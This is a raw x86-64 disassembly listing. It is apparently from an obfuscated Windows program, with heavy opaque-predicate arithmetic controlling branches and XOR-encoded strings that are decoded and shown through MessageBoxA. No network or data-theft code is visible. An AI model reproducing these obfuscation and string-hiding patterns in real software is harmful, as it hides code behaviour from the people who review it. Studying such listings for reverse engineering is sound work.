cmp eax, ecx
je 0x14000e5fa
movsx eax, byte [0x14001a004]
add eax, ebx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
mov dword [rbp - 0x1c], eax
movsx eax, byte [0x14001a004]
add eax, r9d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
imul eax, dword [rbp - 0x1c]
test eax, eax
je 0x14000d77a
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm11
jmp 0x14000eb85
movsx eax, byte [0x14001a004]
add eax, r12d
add eax, r9d
movsx ecx, byte [0x14001a003]
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000d77a
mov byte [rbp - 0x4d], 0
lea rdx, [rbp + 4]
lea rcx, [rbp - 0x4d]
call fcn.140002250
mov r8, rax
movzx eax, byte [rax + 2]
test al, al
je 0x14000e6a4
xor byte [r8], 0x39
xor byte [r8 + 1], 0x3a
xor al, 0x3b
mov byte [r8 + 2], al
mov r11, qword [rbp - 0x68]
mov rax, qword [r11 + r13*8]
sub r8, rax
nop
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x14000e6c3
inc rax
test ecx, ecx
jne 0x14000e6b0
xor r13d, r13d
mov eax, r13d
test edx, edx
sete al
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000e760
call fcn.140005500
movsx edx, al
movsx eax, byte [0x14001a340]
imul edx, eax
shl edx, 2
call fcn.140005530
movsx ecx, al
sub edx, ecx
call fcn.140005510
movsx ecx, al
add edx, ecx
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000e760
mov dword [rbp - 0x18], r14d
jmp 0x14000e7b1
movsx eax, byte [0x14001a004]
add eax, esi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000e7b1
movsx eax, byte [0x14001a004]
add eax, ebx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
mov dword [rbp - 0x18], eax
movsx eax, byte [0x14001a004]
add eax, ebx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
imul eax, dword [rbp - 0x18]
test eax, eax
je 0x14000e7e0
mov byte [rsp + 0x40], 1
jmp 0x14000d77a
movsx eax, byte [0x14001a004]
add eax, r12d
lea eax, [rax + rdi*8]
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000d77a
call fcn.140005500
movsx edx, al
movsx eax, byte [0x14001a340]
imul edx, eax
lea r8d, [rdx + rdx*2]
call fcn.140005530
movsx ecx, al
sub r8d, ecx
call fcn.140005510
movsx ecx, al
add r8d, ecx
movsx eax, byte [0x14001a001]
add eax, r8d
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000e8cf
call fcn.140005500
movsx edx, al
movsx eax, byte [0x14001a340]
imul edx, eax
shl edx, 2
call fcn.140005530
movsx ecx, al
sub edx, ecx
call fcn.140005510
movsx ecx, al
add edx, ecx
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000e8cf
mov dword [rbp - 0x14], r14d
jmp 0x14000e920
movsx eax, byte [0x14001a004]
add eax, esi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000e920
movsx eax, byte [0x14001a004]
add eax, ebx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
mov dword [rbp - 0x14], eax
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
imul eax, dword [rbp - 0x14]
xor edx, edx
test eax, eax
je 0x14000ec2c
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000e9ca
call fcn.140005500
movsx edx, al
movsx eax, byte [0x14001a340]
imul edx, eax
shl edx, 2
call fcn.140005530
movsx ecx, al
sub edx, ecx
call fcn.140005510
movsx ecx, al
add edx, ecx
movsx ecx, byte [0x14001a001]
add ecx, edx
jne 0x14000ea04
movsx eax, byte [0x14001a004]
add eax, esi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000ea04
movzx eax, byte [0x14001a004]
movzx eax, byte [0x14001a003]
movzx eax, byte [section..data]
movsd xmm0, qword [rsp + 0x50]
movsx eax, byte [0x14001a004]
add eax, r12d
lea eax, [rax + rdi*2]
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000d77a
movsx eax, byte [0x14001a004]
add eax, esi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000eada
call fcn.140005500
movsx edx, al
movsx eax, byte [0x14001a340]
imul edx, eax
shl edx, 2
call fcn.140005530
movsx ecx, al
sub edx, ecx
call fcn.140005510
movsx ecx, al
add edx, ecx
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000eada
mov dword [rbp - 0x3c], r14d
jmp 0x14000eb2b
movsx eax, byte [0x14001a004]
add eax, esi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000eb2b
movsx eax, byte [0x14001a004]
add eax, ebx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
mov dword [rbp - 0x3c], eax
imul ecx, edi, 7
movsx eax, byte [0x14001a004]
add ecx, r12d
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
imul eax, dword [rbp - 0x3c]
test eax, eax
je 0x14000d77a
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm12
movsd qword [rsp + 0x50], xmm1
movsx eax, byte [0x14001a004]
add eax, r15d
xor edx, edx
movsx ecx, byte [0x14001a003]
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000ebe3
call fcn.140005500
movsx edx, al
movsx eax, byte [0x14001a340]
imul edx, eax
shl edx, 2
call fcn.140005530
movsx ecx, al
sub edx, ecx
call fcn.140005510
movsx ecx, al
add edx, ecx
movsx ecx, byte [0x14001a001]
add ecx, edx
jne 0x14000d77a
movsx eax, byte [0x14001a004]
add eax, esi
xor edx, edx
movsx ecx, byte [0x14001a003]
div ecx
movsx ecx, byte [section..data]
mov r13d, 1
cmp eax, ecx
je 0x14000d780
movzx eax, byte [0x14001a004]
movzx eax, byte [0x14001a003]
movzx eax, byte [section..data]
movsd xmm0, qword [rsp + 0x50]
jmp 0x14000d780
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000ef5c
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mov rax, r13
cmp byte [rsp + 0x48], al
sete al
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000ecea
call fcn.140005500
movsx edx, al
movsx eax, byte [0x14001a340]
imul edx, eax
shl edx, 2
call fcn.140005530
movsx ecx, al
sub edx, ecx
call fcn.140005510
movsx ecx, al
add edx, ecx
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000ecea
mov dword [rbp - 0x40], r14d
jmp 0x14000ed3b
movsx eax, byte [0x14001a004]
add eax, esi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000ed3b
movsx eax, byte [0x14001a004]
add eax, ebx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
mov dword [rbp - 0x40], eax
lea edx, [rdi + rdi*4]
movsx eax, byte [0x14001a004]
add eax, r12d
lea eax, [rax + rdx*2]
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
imul eax, dword [rbp - 0x40]
test eax, eax
je 0x14000ef5c
mov byte [rbp - 0x4c], r13b
lea rdx, [rbp + 0x28]
lea rcx, [rbp - 0x4c]
call fcn.1400026c0
mov rbx, rax
movzx eax, byte [rax + 5]
test al, al
je 0x14000ed9f
xor byte [rbx], 0x39
xor byte [rbx + 1], 0x3a
xor byte [rbx + 2], 0x3b
xor byte [rbx + 3], 0x3c
xor byte [rbx + 4], 0x3d
xor al, 0x3e
mov byte [rbx + 5], al
mov byte [rbp - 0x4a], r13b
lea rdx, [rbp + 0xa0]
lea rcx, [rbp - 0x4a]
call fcn.140002540
mov r10, rax
cmp byte [rax + 0x12], r13b
je 0x14000ef40
mov r8d, r13d
cmp dword [0x14001a010], 2
jl 0x14000ef05
movdqa xmm5, xmmword [0x140013b10]
movdqa xmm4, xmmword [0x140013b70]
movdqa xmm6, xmmword [0x140013b30]
movdqa xmm0, xmmword [0x140013b60]
movdqa xmmword [rsp + 0x50], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140013b50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140013b50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14000ee00
cmp r8d, 0x13
jge 0x14000ef40
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x14000ef10
mov r9d, 0x10
mov r8, rbx
mov rdx, r10
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ebx, dword [rsp + 0x30]
mov r11, qword [rbp - 0x68]
imul ecx, edi, 7
movsx eax, byte [0x14001a004]
add ecx, r12d
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000f00b
call fcn.140005500
movsx edx, al
movsx eax, byte [0x14001a340]
imul edx, eax
shl edx, 2
call fcn.140005530
movsx ecx, al
sub edx, ecx
call fcn.140005510
movsx ecx, al
add edx, ecx
movsx ecx, byte [0x14001a001]
add ecx, edx
jne 0x14000f06c
movsx eax, byte [0x14001a004]
add eax, esi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000f05f
movsx eax, byte [0x14001a004]
add eax, ebx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
mov dword [rsp + 0x78], eax
jmp 0x14000f063
mov eax, dword [rsp + 0x78]
cmp r13d, eax
jge 0x14000d77a
mov r13d, 1
xor r12d, r12d
jmp 0x140011b63
mov r12d, r9d
mov edi, dword [rsp + 0x60]
mov ebx, dword [rsp + 0x30]
jmp 0x14000d776
mov ebx, dword [rsp + 0x30]
jmp 0x14000d780
call fcn.1400054f0
movsx edx, al
call fcn.1400054e0
movsx ecx, al
imul edx, ecx
call fcn.140005520
movsx ecx, al
lea eax, [rcx + rdx*8]
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000f7e2
cmp qword [rbp + 0x268], 0
je 0x14000f0ef
cmp qword [rbp + 0x248], 0
jne 0x14000f0ef
mov rdx, r13
xor edi, edi
jmp 0x14000f0f3
xor edi, edi
mov edx, edi
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rdx
mulsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
call fcn.1400054f0
movsx edx, al
call fcn.1400054e0
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*8]
call fcn.140005520
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000f1a8
call fcn.140005500
movsx edx, al
movsx eax, byte [0x14001a340]
imul edx, eax
shl edx, 2
call fcn.140005530
movsx ecx, al
sub edx, ecx
call fcn.140005510
movsx ecx, al
add edx, ecx
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000f1a8
mov r10d, r14d
jmp 0x14000f240
call fcn.1400054f0
movsx r9d, al
call fcn.1400054e0
movsx ecx, al
imul r9d, ecx
call fcn.140005520
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000f23b
call fcn.1400054f0
movsx edx, al
call fcn.1400054e0
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*4]
call fcn.140005520
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si r10d, xmm0
jmp 0x14000f240
mov r10d, dword [rsp + 0x78]
call fcn.1400054f0
movsx edx, al
call fcn.1400054e0
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*2]
call fcn.140005520
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
imul eax, r10d
test eax, eax
je 0x14000f7e2
call fcn.1400054f0
movsx edx, al
call fcn.1400054e0
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*8]
call fcn.140005520
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000f654
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mov rax, rdi
cmp byte [rsp + 0x48], 0
sete al
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
call fcn.1400054f0
movsx edx, al
call fcn.1400054e0
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*8]
call fcn.140005520
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000f390
call fcn.140005500
movsx edx, al
movsx eax, byte [0x14001a340]
imul edx, eax
shl edx, 2
call fcn.140005530
movsx ecx, al
sub edx, ecx
call fcn.140005510
movsx ecx, al
add edx, ecx
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000f390
mov r9d, r14d
jmp 0x14000f428
call fcn.1400054f0
movsx r9d, al
call fcn.1400054e0
movsx ecx, al
imul r9d, ecx
call fcn.140005520
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000f423
call fcn.1400054f0
movsx edx, al
call fcn.1400054e0
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*4]
call fcn.140005520
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si r9d, xmm0
jmp 0x14000f428
mov r9d, dword [rsp + 0x78]
call fcn.1400054f0
movsx edx, al
call fcn.1400054e0
movsx ecx, al
imul edx, ecx
call fcn.140005520
movsx ecx, al
lea eax, [rcx + rdx*4]
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
imul eax, r9d
test eax, eax
je 0x14000f654
mov byte [rbp - 0x49], 0
lea rdx, [rbp + 0x30]
lea rcx, [rbp - 0x49]
call fcn.1400029b0
mov rbx, rax
movzx eax, byte [rax + 5]
test al, al
je 0x14000f4a3
xor byte [rbx], 0x39
xor byte [rbx + 1], 0x3a
xor byte [rbx + 2], 0x3b
xor byte [rbx + 3], 0x3c
xor byte [rbx + 4], 0x3d
xor al, 0x3e
mov byte [rbx + 5], al
mov byte [rbp - 0x48], 0
lea rdx, [rbp + 0x148]
lea rcx, [rbp - 0x48]
call fcn.140002830
mov r11, rax
cmp byte [rax + 0x2b], 0
je 0x14000f640
mov r8d, edi
cmp dword [0x14001a010], 2
jl 0x14000f606
movdqa xmm5, xmmword [0x140013b10]
movdqa xmm4, xmmword [0x140013b70]
movdqa xmm6, xmmword [0x140013b30]
movdqa xmm0, xmmword [0x140013b60]
movdqa xmmword [rsp + 0x50], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x50]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140013b50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140013b50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14000f501
cmp r8d, 0x2c
jge 0x14000f640
movsxd r10, r8d
add r10, r11
nop dword [rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r10], al
inc r8d
lea r10, [r10 + 1]
cmp r8d, 0x2c
jl 0x14000f610
mov r9d, 0x10
mov r8, rbx
mov rdx, r11
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call fcn.1400054f0
movsx edx, al
call fcn.1400054e0
movsx ecx, al
imul edx, ecx
imul r9d, edx, 7
call fcn.140005520
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x68], xmm1
call fcn.1400054f0
movsx edx, al
call fcn.1400054e0
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*8]
call fcn.140005520
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000f744
call fcn.140005500
movsx edx, al
movsx eax, byte [0x14001a340]
imul edx, eax
shl edx, 2
call fcn.140005530
movsx ecx, al
sub edx, ecx
call fcn.140005510
movsx ecx, al
add edx, ecx
movsx ecx, byte [0x14001a001]
add ecx, edx
jne 0x14000f072
call fcn.1400054f0
movsx r9d, al
call fcn.1400054e0
movsx ecx, al
imul r9d, ecx
call fcn.140005520
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000f7d6
call fcn.1400054f0
movsx edx, al
call fcn.1400054e0
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*4]
call fcn.140005520
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si eax, xmm0
jmp 0x14000f7da
mov eax, dword [rsp + 0x78]
cmp edi, eax
jl 0x14000f072
call fcn.1400054f0
movsx edx, al
call fcn.1400054e0
movsx ecx, al
imul edx, ecx
call fcn.140005520
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
xor r12d, r12d
mov ebx, r12d
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140010c48
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mov eax, r12d
movzx esi, byte [rsp + 0x48]
test sil, sil
sete al
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
call fcn.1400054f0
movsx edx, al
call fcn.1400054e0
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*8]
call fcn.140005520
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000f8ec
call fcn.140005500
movsx edx, al
movsx eax, byte [0x14001a340]
imul edx, eax
shl edx, 2
call fcn.140005530
movsx ecx, al
sub edx, ecx
call fcn.140005510
movsx ecx, al
add edx, ecx
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000f8ec
mov r10d, r14d
jmp 0x14000f984
call fcn.1400054f0
movsx r9d, al
call fcn.1400054e0
movsx ecx, al
imul r9d, ecx
call fcn.140005520
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000f97f
call fcn.1400054f0
movsx edx, al
call fcn.1400054e0
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*4]
call fcn.140005520
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
